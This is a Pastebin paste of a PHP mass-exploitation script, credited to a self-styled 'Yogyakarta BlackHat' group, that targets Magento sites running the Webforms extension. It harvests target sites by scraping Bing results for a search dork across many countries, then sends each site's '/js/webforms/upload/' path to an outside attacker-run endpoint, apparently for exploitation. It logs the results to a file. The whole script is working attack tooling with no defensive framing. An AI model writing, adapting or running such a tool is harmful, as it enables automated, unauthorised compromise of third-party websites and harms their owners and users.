Advertisement
GLADzTeguhID

Magento Webforms Auto Exploiter

Oct 8th, 2016
600
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.50 KB | None | 0 0
  1. <?php
  2. date_default_timezone_set('America/Los_Angeles');
  3. // ===================================
  4. // BADCHILDS - WEBFORMS AUTO EXPLOITER
  5. // YOGYAKARTA BLACKHAT
  6. // ===================================
  7. // Thanks To FathurFreakz
  8. // Usage: php filename.php "Dork"
  9. // Example: php badchilds.php "/customer/account/"
  10. // ===================================
  11.  
  12. // Starting Class
  13. class BADCHILDS {
  14.         private $xBadcc = "BADCHILDS";
  15.         private $xBadZone = "http://badcc.us";
  16.         private $xBadOrg = "Yogyakarta BlackHat";
  17.         private $dork = "";
  18.        
  19.         //Starting Dork from Terminal Usage.
  20.         function __construct($dork){
  21.                 return $this->dork = $dork;
  22.         }
  23.         //End Dork
  24.        
  25.         // Please Dont Change, this is a Landmark.
  26.         function YogyakartaBlackhat(){
  27.             $bad  = "====================================\n";
  28.             $bad .= "#  BADCHILDS - WEBFORMS EXPLOITER  #\n";
  29.             $bad .= "#\t\t Yogyakarta Blackhat \t\t#\n";
  30.             $bad .= "#\t Thanks To FathurFreakz \t#\n";
  31.             $bad .= "#\t\t YKBH(C)".date("Y")." \t\t#\n";
  32.             $bad .= "====================================\n";
  33.             $bad .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  34.             $bad .= "====================================\n";
  35.             echo $bad;
  36.         }
  37.         // End Landmark
  38.        
  39.         // Get Curl Post for Calling Target.
  40.         private function BadCurlPost($url, $post = false){
  41.                 $ch = curl_init();
  42.                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  43.                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  44.                 curl_setopt($ch, CURLOPT_URL, $url);
  45.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  46.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  47.                 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  48.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  49.                 if($post !== false){
  50.                         $isi = '';
  51.                         foreach($post as $key=>$value){
  52.                                 $isi .= $key.'='.$value.'&';
  53.                         }
  54.                         rtrim($isi, '&');
  55.                         curl_setopt($ch, CURLOPT_URL, $url);
  56.                         curl_setopt($ch, CURLOPT_POST, count($isi));
  57.                         curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  58.                         curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  59.                 }
  60.                 $data = curl_exec($ch);
  61.                 curl_close($ch);
  62.                 return $data;
  63.         }
  64.         // End Curl Post
  65.        
  66.         // Get Target From Dork - Search Engine on Bing.
  67.         public function SearchingEngine($engine){
  68.                 $list = array();
  69.                 $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  70.                 switch($engine){
  71.                         case 1:
  72.                                 for($i=0;$i<=1000;$i+=10){
  73.                                         $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  74.                                         preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  75.                                         foreach($m[1] as $link){
  76.                                                 if(!preg_match("/live|msn|bing|microsoft/",$link)){
  77.                                                         if(!in_array($link,$list)){
  78.                                                                 $list[] = $link;
  79.                                                         }
  80.                                                 }
  81.                                         }
  82.                                         echo "[".date("H:i:s")."] Get Bing => [".count(array_unique($m[1]))."]\n";
  83.                                 }
  84.                         break;
  85.                         case 2:
  86.                                 for($x=0;$x<=count($ccbing)-1;$x++){
  87.                                         for($i=0;$i<=1000;$i+=10){
  88.                                                 $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  89.                                                 preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  90.                                                 foreach($m[1] as $link){
  91.                                                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  92.                                                                 if(!in_array($link,$list)){
  93.                                                                         $list[] = $link;
  94.                                                                 }
  95.                                                         }
  96.                                                 }
  97.                                                 echo "[".date("H:i:s")."] Get Bing ".$ccbing[$x]." => [".count(array_unique($m[1]))."]\n";
  98.                                         }
  99.                                 }
  100.                                 echo "[".date("H:i:s")."] Result Searching => ".count($list)."\n";
  101.                         break;
  102.                 }
  103.                 if(count($list)>0){
  104.                         echo "Start Exploit => [ ".count($list)." Dorks ]\nPlease Wait ... \n";
  105.                         foreach($list as $do){
  106.                                 echo $this->BadExploiting($do)."\n";
  107.                         }
  108.                 }
  109.         }
  110.         // End Searching
  111.        
  112.         // Started Exploiting Target, Call Dork and Get Target
  113.         private function BadExploiting($target){
  114.                 $link = parse_url($target);
  115.                 $data = $this->BadCurlPost("http://exploit.xbadcc.club/badchilds.php?victim=".sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target))."&get=TRUE");
  116.                 $Result = fopen("Webresult-".date("d-m-Y").".log","a");
  117.                 $xbadchilds = strtoupper(sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target)));
  118.                 fwrite($Result,$data, strlen($data));
  119.                 fclose($Result);
  120.                 return "===>[ ". $xbadchilds ." ]<===\n".$data;
  121.  
  122.         }
  123.         // End Exploiting
  124. }
  125. // End Class
  126.  
  127. $Exploiter = new BADCHILDS($argv[1]);
  128. echo "Get Searching ".$argv[1]."\n";
  129. for($x=1;$x<3;$x++){
  130.         $Exploiter->SearchingEngine($x);
  131. }
  132. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement